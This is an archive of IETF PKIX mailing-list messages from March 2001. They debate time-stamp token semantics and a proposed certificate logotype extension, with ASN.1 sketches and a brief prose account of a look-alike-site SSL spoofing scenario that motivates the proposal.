To: ietf-pkix <[e-mail]>
Subject: Re: Time-stamping.
References: <001a01c0b130$280b4e30$966801c4@insight>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Prashant Dambe wrote:

> Time-stamping of the dataum does not bind the time-stamped data to
> paticular user.So where it will be used as it does not bind creator
> identity. Any one canclaim that  I am the author of the document.
> Until there is specifically identificationof the creator inside the
> document itself.

So you need to include identification of the creator inside the document
you wish to time-stamp.

This part is plain evidence.
 > One way to do this is to to sign over dataum plus time-stamped
-data.> In this case user can replace the signature put its own
signature.> So Is not that time-stampng of signature value is
necessary.> And if the time-stamped signature value is placed as
unsigned attribute,> it can be also replaced and it is undetectable in
current specification.> So in the current draft IS time-stamp generated
fully secured?

Yes, if properly used.
But some clarification about how to use it properly might be needed.

As I discuss in my other message, you need, in most cases, to insert
inside the text that you wish to time-stamp, a reference to the time at
which you claim that the statement is true, before signing and then
time-stamping it.
No one should accept as valid a message without such a statement.
This reference does not need to be time-stamped, this is what you author
of the document, claim, and when you claim it.

In SMIME, this will be required by the standard.
There's the same requirement in "Technical Requirements for a
non-Repudiation Service".





Received: from pdcpune.elock.co.in (pdcpune.elock.co.in [196.1.104.8]) by above.proper.com (8.9.3/8.9.3) with ESMTP id DAA05860 for <[e-mail]>; Tue, 20 Mar 2001 03:23:28 -0800 (PST)
Received: from insight (insight.fcpl.co.in [196.1.104.150]) by pdcpune.elock.co.in with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id HDBQC411; Tue, 20 Mar 2001 16:52:46 +0530
Message-ID: <001a01c0b130$280b4e30$966801c4@insight>
From: "Prashant Dambe" <[e-mail]>
To: <[e-mail]>
Subject: Time-stamping.
Date: Tue, 20 Mar 2001 16:53:15 +0530
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----=_NextPart_000_0017_01C0B15E.4195C370"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

This is a multi-part message in MIME format.

------=_NextPart_000_0017_01C0B15E.4195C370
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


Time-stamping of the dataum does not bind the time-stamped data to =
paticular user.
So where it will be used as it does not bind creator identity. Any one =
can=20
claim that  I am the author of the document. Until there is specifically =
identification
of the creator inside the document itself.
One way to do this is to to sign over dataum plus time-stamped -data.
In this case user can replace the signature put its own signature.
So Is not that time-stampng of signature value is necessary.
And if the time-stamped signature value is placed as unsigned attribute,
it can be also replaced and it is undetectable in current specification.
So in the current draft IS time-stamp generated fully secured?


Prashant Dambe

------=_NextPart_000_0017_01C0B15E.4195C370
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Time-stamping of the dataum does not =
bind the=20
time-stamped data to paticular user.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>So where it will be used as it does not =
bind=20
creator identity. Any one can </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>claim that&nbsp; I am the author of the =
document.=20
Until there is specifically identification</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>of the creator inside the document=20
itself.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>One way to do this is to to sign over =
dataum plus=20
time-stamped -data.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>In this case user can replace the =
signature put its=20
own signature.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>So Is not that time-stampng of =
signature value is=20
necessary.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>And if the time-stamped signature value =
is placed=20
as unsigned attribute,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>it can be also replaced and it is =
undetectable in=20
current specification.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>So in the current draft IS time-stamp=20
generated&nbsp;fully secured?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Prashant =
Dambe</FONT></DIV></BODY></HTML>

------=_NextPart_000_0017_01C0B15E.4195C370--



Received: from sysiphos.maz-hh.de (sysiphos.maz-hh.de [192.109.56.14]) by above.proper.com (8.9.3/8.9.3) with ESMTP id BAA26960 for <[e-mail]>; Tue, 20 Mar 2001 01:55:36 -0800 (PST)
Received: from timeproof.de (timegate.maz-hh.de [192.109.56.29]) by sysiphos.maz-hh.de (8.9.3/8.9.3) with ESMTP id KAA08718; Tue, 20 Mar 2001 10:55:22 +0100 (MET)
Message-ID: <[e-mail]>
Date: Tue, 20 Mar 2001 10:58:19 +0100
From: Joerg Seidel <[e-mail]>
Organization: timeproof GmbH
X-Mailer: Mozilla 4.76 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jean-Marc Desperrier <[e-mail]>
CC: [e-mail]
Subject: Re: ESSCertID in TSP
References: <[e-mail]>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Comments inline.

Jean-Marc Desperrier wrote:
> 
> Also the recent "Time-stamp issue" thread a lead me to te conclusion
> that some hints should be included in the draft about the correct way to
> generate a hash value that is intended to be time-stamped.
> 
> Without a proper warning that a timestamp states that some data existed
> before a given time, but does _not_ date the data as in "this is a
> transaction that was generated at this date", the temptation for user ot
> the TSP service to directly use a time-stamp to guaranty this, will
> exist.

Agree. The draft states:

"The TSA is a TTP that creates time stamp tokens in order to indicate 
that a datum existed at a particular point in time."

This could be changed to

"The TSA is a TTP that creates time stamp tokens in order to indicate
that a datum existed at a particular point in time. This token does not
indicate that the datum was generated at that time."

But I don't feel like this change is important enough to further delay
the RFC.

> With such a use of time-stamp, if the base over wich the hash is
> calculated does not include any reference to the local time, the
> implementor has a hugh risk of time-stamping twice the same data, and
> yet expect after the inclusion of the time-stamp to hold some guaranty
> that the two items are separate entities.

The serial number and usually also the time of the timestamp will be
different.

> Time-stamped signed data will have exactly the same behaviour, because
> the signature algorithm is deterministic.
> The same data will always generate the same signature (at least in RSA
> with standard padding algorithm)

IMO not a problem the timestamps will be different. See above.

> Therefore the standard should warn that the data to be time-stamped
> should be "new", that is it must include enough data to guarantee it to
> be unique, and that the user will not generate twice the same exact
> request.

If a user feels such a need he should use a nonce in the request.
Whether this is necessary depends on the application.

Regards
Jörg
-- 
__________________________________________________________________

Jörg Seidel                             phone  [phone]
Director Technology                     fax    [phone]
timeproof GmbH                          
Harburger Schloßstraße 6-12             mailto:[e-mail]
DE 21079 Hamburg                        http://www.timeproof.de
__________________________________________________________________


Received: from ntserver.swisskey.ch (panther.swisskey.ch [195.65.163.140] (may be forged)) by above.proper.com (8.9.3/8.9.3) with ESMTP id WAA00136 for <[e-mail]>; Mon, 19 Mar 2001 22:50:18 -0800 (PST)
Received: by exchange with Internet Mail Service (5.5.2448.0) id <HHKHFWC3>; Tue, 20 Mar 2001 07:49:21 +0100
Message-ID: <2960606C40CBD4118F4000A0C9CFA1E3030AF7@exchange>
From: Gschwend Bruno <[e-mail]>
To: [e-mail]
Subject: unsubscribe
Date: Tue, 20 Mar 2001 07:49:20 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain; charset="iso-8859-1"

unsubscribe


Received: from thunder.dstc.qut.edu.au (thunder.dstc.qut.edu.au [131.181.71.1]) by above.proper.com (8.9.3/8.9.3) with ESMTP id SAA25587 for <[e-mail]>; Mon, 19 Mar 2001 18:06:29 -0800 (PST)
Received: from dstc.qut.edu.au (garnet.dstc.qut.edu.au [131.181.71.36]) by thunder.dstc.qut.edu.au (8.10.1/8.10.1) with ESMTP id f2K26Qm20775; Tue, 20 Mar 2001 12:06:26 +1000 (EST)
Message-Id: <[e-mail]>
X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4
cc: Rich Salz <[e-mail]>, [e-mail], [e-mail]
Subject: Re: Logotypes in certificates 
In-Reply-To: Message from Dean Povey <[e-mail]>  of "Tue, 20 Mar 2001 11:20:38 +1000." <[e-mail]> 
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Date: Tue, 20 Mar 2001 12:06:26 +1000
From: Dean Povey <[e-mail]>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id SAA25588

>I should have explained.  It only works if the browser does something 
>sensible like displays the logo in a prominent place where the user will 
>notice and which can't be recreated by just straight HTML.  Kind of like 
>the way the lock clicks on to tell you you have a secure connection.  
>Presumably the CA will perform some due-dilligence when certifying company 
>logos.

To make the scheme clearer, one of the other authors on the first paper I
mentioned has recommended a more recent paper with more detail.

A. Jøsang, M.A. Patton and A. Ho. Authentication for Humans. In the
Proceedings of the 9th International Conference on Telecommunication Systems.
Dallas, March 2001. http://security.dstc.edu.au/papers/authum.pdf

Cheers.
-- 
Dean Povey,         | e-m: [e-mail] | JCSI:  Java Crypto Toolkit 
Research Scientist  | ph:  [phone]   | uPKI:  C PKI toolkit for embedded
Security Unit, DSTC | fax: [phone]   |        systems
Brisbane, Australia | www: security.dstc.com | Oscar: C++ PKI toolkit 




Received: from thunder.dstc.qut.edu.au (thunder.dstc.qut.edu.au [131.181.71.1]) by above.proper.com (8.9.3/8.9.3) with ESMTP id RAA23058 for <[e-mail]>; Mon, 19 Mar 2001 17:20:46 -0800 (PST)
Received: from dstc.qut.edu.au (garnet.dstc.qut.edu.au [131.181.71.36]) by thunder.dstc.qut.edu.au (8.10.1/8.10.1) with ESMTP id f2K1Kgm20434; Tue, 20 Mar 2001 11:20:42 +1000 (EST)
Message-Id: <[e-mail]>
X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4
To: Rich Salz <[e-mail]>
cc: [e-mail]
Subject: Re: Logotypes in certificates 
In-Reply-To: Message from Rich Salz <[e-mail]>  of "Mon, 19 Mar 2001 19:59:06 EST." <[e-mail]> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Tue, 20 Mar 2001 11:20:38 +1000
From: Dean Povey <[e-mail]>

>> Adding some sort of visual identifier, such as a company logo to a
>> certificate and displaying this in a prominent place in the browser would
>> go a long way to ameliorating this problem.
>
>And what's to prevent the badguy from just copying the info out of a
>real cert?  Fear of violating the trademark law?
>	/r$

I should have explained.  It only works if the browser does something 
sensible like displays the logo in a prominent place where the user will 
notice and which can't be recreated by just straight HTML.  Kind of like 
the way the lock clicks on to tell you you have a secure connection.  
Presumably the CA will perform some due-dilligence when certifying company 
logos.

Cheers

-- 
Dean Povey,         | e-m: [e-mail] | JCSI:  Java Crypto Toolkit 
Research Scientist  | ph:  [phone]   | uPKI:  C PKI toolkit for embedded
Security Unit, DSTC | fax: [phone]   |        systems
Brisbane, Australia | www: security.dstc.com | Oscar: C++ PKI toolkit 




Received: from smtp6ve.mailsrvcs.net (smtp6vepub.gte.net [206.46.170.27]) by above.proper.com (8.9.3/8.9.3) with ESMTP id QAA22466 for <[e-mail]>; Mon, 19 Mar 2001 16:56:23 -0800 (PST)
Received: from zolera.com (adsl-141-154-58-231.bostma.adsl.bellatlantic.net [141.154.58.231]) by smtp6ve.mailsrvcs.net (8.9.1/8.9.1) with ESMTP id AAA2920199; Tue, 20 Mar 2001 00:59:09 GMT
Message-ID: <[e-mail]>
Date: Mon, 19 Mar 2001 19:59:06 -0500
From: Rich Salz <[e-mail]>
X-Mailer: Mozilla 4.73 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Dean Povey <[e-mail]>
CC: [e-mail]
Subject: Re: Logotypes in certificates
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

> Adding some sort of visual identifier, such as a company logo to a
> certificate and displaying this in a prominent place in the browser would
> go a long way to ameliorating this problem.

And what's to prevent the badguy from just copying the info out of a
real cert?  Fear of violating the trademark law?
	/r$


Received: from mail.cablespeed.com (mail.cablespeed.com [206.112.192.76]) by above.proper.com (8.9.3/8.9.3) with ESMTP id QAA20476 for <[e-mail]>; Mon, 19 Mar 2001 16:21:32 -0800 (PST)
Received: from cablespeed.com (c216-45-71-147.md1.cablespeed.com [216.45.71.147]) by mail.cablespeed.com (8.9.3/8.9.3) with ESMTP id QAA12277; Mon, 19 Mar 2001 16:20:40 -0800
Message-ID: <[e-mail]>
Date: Mon, 19 Mar 2001 19:24:13 -0500
From: jim <[e-mail]>
X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Dean Povey <[e-mail]>
CC: Stephen Kent <[e-mail]>, Stefan Santesson <[e-mail]>, [e-mail], [e-mail]
Subject: Re: Logotypes in certificates
References: <[e-mail]>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

As long as we are each throwing in TWO CENTS, do we have to consider the difference
between licensed and public domain fonts and their use in the logotype.  After all,
Adobe and Bitstream might be perturbed and want a piece of the action if one of
their fonts is used in this manner.  Then there would be an investigation and a
court case to determine which font was used and the key management issue of opening
the messages would perturbate the whole scheme. ...   ASCII character sets, please.
Jim

Dean Povey wrote:

> >There is an issue here that merits discussion: the logotype is
> >presumably useful only when people are being asked to accept/reject
> >certs, in addition to or in lieu of the many software-based controls
> >that v3 certs offer. If the use is in lieu of use of more extensive
> >software-based controls, there may not be a conflict, since the
> >context is probably that of a TTP CA where NameConstraints and
> >similar controls are of minimal use. However, if the syntactic
> >controls are also in use, a logotype extension may be of limited
> >value and might easily degrade security.
>
> The following paper motivates the need for an extension similar to that
> proposed and shows a basic attack on SSL using a web browser that having
> logos/visual cues in certificates helps mitigate.
>
> A. Jøsang, I.G. Pedersen and D. Povey. PKI seeks a trusting relationship.
> In Proceedings of the Fifth Australasian Conference on Information Security and
> Privacy (ACISP 2000), Brisbane, July 2000. Springer.
> http://security.dstc.edu.au/papers/pkitrust.pdf
>
> The basic idea is this:
>
> 1. The user is fooled into connecting to the attacker using a false URL
>    on a portal or by some other means (a sophisticated attack could
>    intercept the request and use HTTP redirects on unsecured HTTP leading
>    to get them to connect to the attacker's web server.
>
> 2. The attacker's web page masquerades as a legitimate business.  They
>    could do this by simply replicating a target site's web page.  They then
>    present a service to buy goods or perform some transaction using an
>    SSL secure connection.
>
> 3. The user connects to the secure connection, accepts the SSL certificate
>    and then submits their credit card details/bank account
>    PIN to the attacker.
>
> Note that this attack will only work if:
>
>   1. The user doesn't realise that the URL of the site they are connecting
>      to is the wrong one for the legitimate business.  In practice this
>      will probably be true even if the attacker takes no steps to hide or
>      mask this fact.  However the attacker can easily register domain names
>      that could plausibly represent the target site (e.g. for Bank Of America
>      which of the following is correct: www.bankofamerica.com, www.bom.com,
>      bom.commerce.net, www.bankofamerica.us, www.bankofamerica.tv etc.).
>      Presumably most CAs will issue you an SSL server cert if you can prove
>      ownership of the domain.
>
>   2. The user doesn't bother to check the details of the Certificate. Note this
>      involves some effort and knowledge on behalf of the user, most users
>      would just see the little lock icon and happily enter their details.
>
> The problem is caused by lack of feedback from the security mechanism about
> the trust aspects of the transaction.  While the browser goes to a lot of
> trouble to verify the cryptographic aspects of the SSL connection, the link
> between the authentication and the actual organisation the user thinks they
> are contacting is quite tenuous.
>
> Adding some sort of visual identifier, such as a company logo to a
> certificate and displaying this in a prominent place in the browser would
> go a long way to ameliorating this problem.
>
> However, I for one would be more interested in seeing this in a separate
> I-D/RFC rather than son-of-2459.  I also agree that is seems silly to stuff
> the image in the certificate, instead something along the lines of:
>
> SubjectLogo ::= SEQUENCE {
>   location        GeneralName,
>   digestAlgorithm AlgorithmIdentifier,
>   digest          OCTET STRING
> }
>
> seems appropriate. If you really want to go for a space save you could
> make the digestAlgorithm OPTIONAL and have it use whatever is used to
> generate the signature if it is not present.
>
> Which begs the question, having a signed embedded reference (as opposed to
> something like SubjectDirectoryAttributes) to arbitrary external content in
> a Certificate seems to me to be wholly useful thing to want to do (e.g.
> CPS, user agreement, photo of user's cat etc).  So is it worth perhaps
> generalising something like the above to support this, e.g.
>
> SubjectAuthenticatedReferences ::= SEQUENCE OF AuthenticatedReference
>
> AuthenticatedReference ::= SEQUENCE {
>   location        GeneralName,
>   digestAlgorithm AlgorithmIdentifier,
>   digest          OCTET STRING
> }
>
> or numerous permutations thereof.  Or perhaps such a beast exists already?
>
> Just my $0.02.
>
> --
> Dean Povey,         | e-m: [e-mail] | JCSI:  Java Crypto Toolkit
> Research Scientist  | ph:  [phone]   | uPKI:  C PKI toolkit for embedded
> Security Unit, DSTC | fax: [phone]   |        systems
> Brisbane, Australia | www: security.dstc.com | Oscar: C++ PKI toolkit



Received: from thunder.dstc.qut.edu.au (thunder.dstc.qut.edu.au [131.181.71.1]) by above.proper.com (8.9.3/8.9.3) with ESMTP id QAA19025 for <[e-mail]>; Mon, 19 Mar 2001 16:05:11 -0800 (PST)
Received: from dstc.qut.edu.au (garnet.dstc.qut.edu.au [131.181.71.36]) by thunder.dstc.qut.edu.au (8.10.1/8.10.1) with ESMTP id f2K04qm19800; Tue, 20 Mar 2001 10:04:52 +1000 (EST)
Message-Id: <[e-mail]>
X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4
To: Stephen Kent <[e-mail]>
cc: Stefan Santesson <[e-mail]>, [e-mail], [e-mail]
Subject: Re: Logotypes in certificates 
In-Reply-To: Message from Stephen Kent <[e-mail]>  of "Mon, 19 Mar 2001 11:46:46 EST." <p05010401b6dbe5d9d90c@[128.33.238.70]> 
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Date: Tue, 20 Mar 2001 10:04:51 +1000
From: Dean Povey <[e-mail]>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id QAA19030

>There is an issue here that merits discussion: the logotype is 
>presumably useful only when people are being asked to accept/reject 
>certs, in addition to or in lieu of the many software-based controls 
>that v3 certs offer. If the use is in lieu of use of more extensive 
>software-based controls, there may not be a conflict, since the 
>context is probably that of a TTP CA where NameConstraints and 
>similar controls are of minimal use. However, if the syntactic 
>controls are also in use, a logotype extension may be of limited 
>value and might easily degrade security.

The following paper motivates the need for an extension similar to that 
proposed and shows a basic attack on SSL using a web browser that having
logos/visual cues in certificates helps mitigate.

A. Jøsang, I.G. Pedersen and D. Povey. PKI seeks a trusting relationship.
In Proceedings of the Fifth Australasian Conference on Information Security and
Privacy (ACISP 2000), Brisbane, July 2000. Springer. 
http://security.dstc.edu.au/papers/pkitrust.pdf

The basic idea is this:

1. The user is fooled into connecting to the attacker using a false URL 
   on a portal or by some other means (a sophisticated attack could 
   intercept the request and use HTTP redirects on unsecured HTTP leading
   to get them to connect to the attacker's web server.

2. The attacker's web page masquerades as a legitimate business.  They 
   could do this by simply replicating a target site's web page.  They then
   present a service to buy goods or perform some transaction using an
   SSL secure connection.

3. The user connects to the secure connection, accepts the SSL certificate
   and then submits their credit card details/bank account 
   PIN to the attacker.

Note that this attack will only work if:

  1. The user doesn't realise that the URL of the site they are connecting
     to is the wrong one for the legitimate business.  In practice this 
     will probably be true even if the attacker takes no steps to hide or
     mask this fact.  However the attacker can easily register domain names
     that could plausibly represent the target site (e.g. for Bank Of America 
     which of the following is correct: www.bankofamerica.com, www.bom.com,
     bom.commerce.net, www.bankofamerica.us, www.bankofamerica.tv etc.).
     Presumably most CAs will issue you an SSL server cert if you can prove
     ownership of the domain.

  2. The user doesn't bother to check the details of the Certificate. Note this 
     involves some effort and knowledge on behalf of the user, most users
     would just see the little lock icon and happily enter their details.

The problem is caused by lack of feedback from the security mechanism about
the trust aspects of the transaction.  While the browser goes to a lot of
trouble to verify the cryptographic aspects of the SSL connection, the link
between the authentication and the actual organisation the user thinks they
are contacting is quite tenuous.

Adding some sort of visual identifier, such as a company logo to a
certificate and displaying this in a prominent place in the browser would
go a long way to ameliorating this problem.

However, I for one would be more interested in seeing this in a separate
I-D/RFC rather than son-of-2459.  I also agree that is seems silly to stuff
the image in the certificate, instead something along the lines of:

SubjectLogo ::= SEQUENCE {
  location        GeneralName,              
  digestAlgorithm AlgorithmIdentifier,
  digest          OCTET STRING 
}

seems appropriate. If you really want to go for a space save you could
make the digestAlgorithm OPTIONAL and have it use whatever is used to
generate the signature if it is not present.

Which begs the question, having a signed embedded reference (as opposed to
something like SubjectDirectoryAttributes) to arbitrary external content in
a Certificate seems to me to be wholly useful thing to want to do (e.g.
CPS, user agreement, photo of user's cat etc).  So is it worth perhaps
generalising something like the above to support this, e.g.

SubjectAuthenticatedReferences ::= SEQUENCE OF AuthenticatedReference

AuthenticatedReference ::= SEQUENCE {
  location        GeneralName,              
  digestAlgorithm AlgorithmIdentifier,
  digest          OCTET STRING 
}

or numerous permutations thereof.  Or perhaps such a beast exists already?

Just my $0.02.

-- 
Dean Povey,         | e-m: [e-mail] | JCSI:  Java Crypto Toolkit 
Research Scientist  | ph:  [phone]   | uPKI:  C PKI toolkit for embedded
Security Unit, DSTC | fax: [phone]   |        systems
Brisbane, Australia | www: security.dstc.com | Oscar: C++ PKI toolkit 




Received: from eagle.verisign.com (eagle.verisign.com [208.206.241.105]) by above.proper.com (8.9.3/8.9.3) with ESMTP id PAA16509 for <[e-mail]>; Mon, 19 Mar 2001 15:12:56 -0800 (PST)
Received: from postal-gw2.verisign.com (verisign.com [63.104.27.102]) by eagle.verisign.com (8.9.3/BCH1.7.1) with ESMTP id PAA04620; Mon, 19 Mar 2001 15:15:08 -0800 (PST)
Received: by postal-gw.verisign.com with Internet Mail Service (5.5.2650.21) id <FXDRQB1Q>; Mon, 19 Mar 2001 15:12:53 -0800
Message-ID: <[e-mail]>
From: Andrew Hoag <[e-mail]>
To: "'Stefan Santesson'" <[e-mail]>, Trevor Freeman <[e-mail]>, David Cross <[e-mail]>, [e-mail]
Subject: RE: Logotypes in certificates
Date: Mon, 19 Mar 2001 15:12:52 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"

The other issue being implied here is that of affinity and branding. 

Clearly we generally approach certificates from a security & risk management
perspective, but there are other commercial drivers as well. Most notably,
using a certificate that provides some sort of tie to the issuer or
authenticating entity. This is the same reason you may get a Visa card from
your airline frequent flyer program. 

Certainly in many usage cases it is beneficial, for both the company
providing certificates and to the end-user, to provide some sort of improved
UI for viewing certificates, including binding of a logo. 

A standard method for providing this type of user-friendly data would be
very helpful towards greater commercial use & applications of certificates.

Andrew Hoag


> -----Original Message-----
> From: Stefan Santesson [mailto:[e-mail]]
> Sent: Sunday, March 18, 2001 9:07 PM
> To: Trevor Freeman; David Cross; [e-mail]
> Subject: RE: Logotypes in certificates
> 
> 
> Hi Trevor,
> 
> Thank you for this challenging question. This is a hard one 
> and I will try 
> to answer.
> 
> I think we are into the hen and egg problem.
> I see at least 3 big reasons why most users don't know what a 
> certificate is.
> - PKI hasn't yet reached into the bedroom of normal users.
> - Applications doesn't encourage users to se the certificate 
> content and;
> - If they do, there isn't so much interesting to see anyway 
> because the 
> display interface is normally not very user friendly.
> 
> I simply ask you to look beyond the horizon and try to grasp 
> a glimpse of 
> the future.
> 
> In a mature PKI, when a human user receives a signed message, the 
> applications will probably provide the user with a simple 
> button to view 
> signature details.
> 
> What is then interesting here?
> - Signature algorithm ?
> - Key length ?
> - Or maybe just WHO SIGNED THIS and
> - DO I TRUST THIS SIGNATURE?!
> 
> If the user has just a minor curiosity about who signed this, and who 
> stands behind the identification of this person, what better then to 
> display the signers certificate.
> 
> But I challenge you to display this in a interesting and 
> meaningful way to 
> the user if you cut of the possibility to tie logotypes to 
> the process.
> 
> If you denies this option you are STUCK with a pure text 
> interface, and 
> that won't do. Not if this is to grow out of the technical community.
> 
> At least this is what I see and the response I get from many 
> people I talk 
> to, among them initiated peoples related to European 
> electronic signature 
> legislation and standardization.
> 
> /Stefan
> 
> 
> At 10:42 2001-03-18 -0800, Trevor Freeman wrote:
> >Hi Stefan,
> >The fundamental gap here is that most users don't know what a
> >certificate is, and are happy that they just get a simple icon if
> >everything is ok or not rather than some UI detailing the 
> content of the
> >credential. Most users never look as the certificate UI.
> >Trevor
> >
> >-----Original Message-----
> >From: Stefan Santesson [mailto:[e-mail]]
> >Sent: Saturday, March 17, 2001 4:14 PM
> >To: David Cross; [e-mail]
> >Subject: RE: Logotypes in certificates
> >
> >
> >David,
> >
> >Comment in line;
> >
> >At 18:46 2001-03-16 -0800, David Cross wrote:
> > >Stefan:
> > >
> > >Some comments -
> > >
> > >First:  I do not think that this should be considered for son of
> > >RFC2459
> > >- we do not want to hold this up to consider this proposal.
> >
> >That's OK with me.
> >
> > >
> > >Second:  I do not see how applications will make use of this
> > >information.  How do you see it being used?
> >
> >Well first I would like to state that I now of several 
> applications that
> >
> >would use this information if it was available. This is typically any
> >application which includes a function to display a certificates to a
> >human
> >user. These applications will seek to have a display format 
> which makes
> >sense to the user. These applications can, if logotype data 
> is present,
> >choose to download these logotypes and display them to the 
> user when a
> >certificate is displayed.
> >
> >Applications don't caring about logos won't be effected 
> since they just
> >ignore this information without problem. The logo is only a display
> >function and has no part in any DN or alternative name.
> >
> >We will surely implement this in certificates if this gets to be
> >supported
> >by any standard.
> >
> >/Stefan
> >
> > >
> > >Third:  People are complaining about size of certs now, this will
> > >expand that issue
> >
> >Everything is a tradeoff. In this case we can meet an 
> important business
> >
> >need with just a few bytes. I think this is one of those cases that
> >definitely is worth it.
> >
> >/Stefan
> >
> > >
> > >
> > >David B. Cross
> > >
> > >
> > >         -----Original Message-----
> > >         From: Stefan Santesson [mailto:[e-mail]]
> > >         Sent: Thursday, March 15, 2001 3:22 PM
> > >         To: [e-mail]
> > >         Subject: Logotypes in certificates
> > >
> > >
> > >         In last PKIX meeting in San Diego I presented 
> some thoughts on
> >
> > >creating a new extension for inclusion of logotype information in
> > >certificates.
> > >
> > >         Last in this mail I include a primary suggested 
> outline for
> > >such extension.
> > >
> > >         But first a short summary of the rationale:
> > >
> > >         At a first glance it may seem irrelevant to 
> include logotype
> > >information in certificates and a natural first reaction 
> is "OH NO...
> > >NOT ANOTHER THING TO INCLUDE!! DON'T WE HAVE ENOUGH?!!!"
> > >
> > >         The fact is though that at the ETSI meeting this 
> week (In the
> > >group that handles European standards related to electronic
> > >signatures). IT WAS GENERALLY RECOGNIZED THAT INCLUSION OF LOGOTYPE
> > >DATA WOULD BE VERY USEFUL.
> > >
> > >         Why is that so?
> > >
> > >         The answer is that logotypes are carriers of trust and are
> > >widely recognized tools for trust recognition. Have you 
> ever thought
> > >why EVERY physical instrument of trust, from loyalty cards, credit
> > >cards to Passports, contain trust symbols in the form of logotypes.
> > >
> > >         Are certificates different? ABSOLUTELY NOT!!
> > >
> > >         If PKI is to take off in the private market, the 
> certificates
> > >must be user friendly and carry the same functionality (in 
> electronic
> > >form) as ID-cards, passports and other physical ID:s do in physical
> > >form. And logotypes are a FUNDAMENTAL part of that.
> > >
> > >         Without logotypes, certificates can only be handled and
> > >presented as textual information for technically oriented 
> users. This
> > >is the reality I see.
> > >
> > >         What is your observation?
> > >
> > >         How can we then do this?
> > >
> > >         Technically speaking, we don't have to include the actual
> > >logotype image and we don't have to destroy legacy applications.
> > >         I would suggest that we use the same mechanism that we
> > >specified for biometric data in RFC 3039 where a 
> non-critical extension
> >
> > >can include for each logotype:
> > >
> > >         -  type of logo
> > >         -  type of hash algorithm
> > >         -  hash of logotype data
> > >         -  URI to location of data
> > >
> > >         This will only take a few bytes but will allow new
> > >applications to import relevant logotypes, signed by the 
> issuer of the
> > >certificate, to be displayed to the user.
> > >
> > >         So... What to do with this?
> > >
> > >         If this is to be proceeded at all, It could be 
> part of son of
> > >RFC 2459, it could be part of a new RFC 3039 and it could be a new
> > >draft or merged with some other work. I'm open for suggestions.
> > >
> > >         I hope to be able to meet with many of you and 
> discuss this in
> >
> > >Minneapolis next week.
> > >
> > >         /Stefan Santesson
> > >
> > >
> > >         logotypeInfo  EXTENSION ::= {
> > >                   SYNTAX             LogotypeSyntax
> > >                   IDENTIFIED BY      id-pe-logotypeInfo }
> > >
> > >               id-pe-logotypeInfo OBJECT IDENTIFIER  ::= {id-pe XX}
> > >
> > >               LogotypeSyntax ::= SEQUENCE OF LogotypeData
> > >
> > >               LogotypeData ::= SEQUENCE {
> > >                   typeOfLogotype       TypeOflogotype,
> > >                   hashAlgorithm        AlgorithmIdentifier,
> > >                   logotypeDataHash     OCTET STRING,
> > >                   sourceDataUri        IA5String OPTIONAL }
> > >
> > >               TypeOflogotype ::= CHOICE {
> > >                   predefinedLogotypeType    
> PredefinedLogotypeType,
> > >                   LogotypeTypeID            OBJECT IDENTIFIER }
> > >
> > >               PredefinedLogotypeType ::= INTEGER {
> > >                   subject-organization-logotype(0),
> > >                   issuer-organization-logotype(1)
> > >                   CA-network-logotype(2)}
> > >                   (subject-organization-logotype|
> > >                    issuer-organization-logotype|
> > >                     CA-network-logotype,...)
> > >
> > >
> > >         The predefined logotype types are
> > >
> > >         subject-organization-logotype, if used, SHALL be used to
> > >include a logotype of the subject organization. The 
> logotype SHALL be
> > >consistent with, and require the presence of, an organization name
> > >stored in the organization attribute in the subject field.
> > >
> > >         issuer-organization-logotype, if used, SHALL be used to
> > >include a logotype of the issuer organization. The 
> logotype SHALL be
> > >consistent with, and require the presence of, an organization name
> > >stored in the organization attribute in the issuer field.
> > >
> > >         CA-network-logotype, if used, SHALL be used to include a
> > >logotype used by a network of CA services, provided by one 
> or several
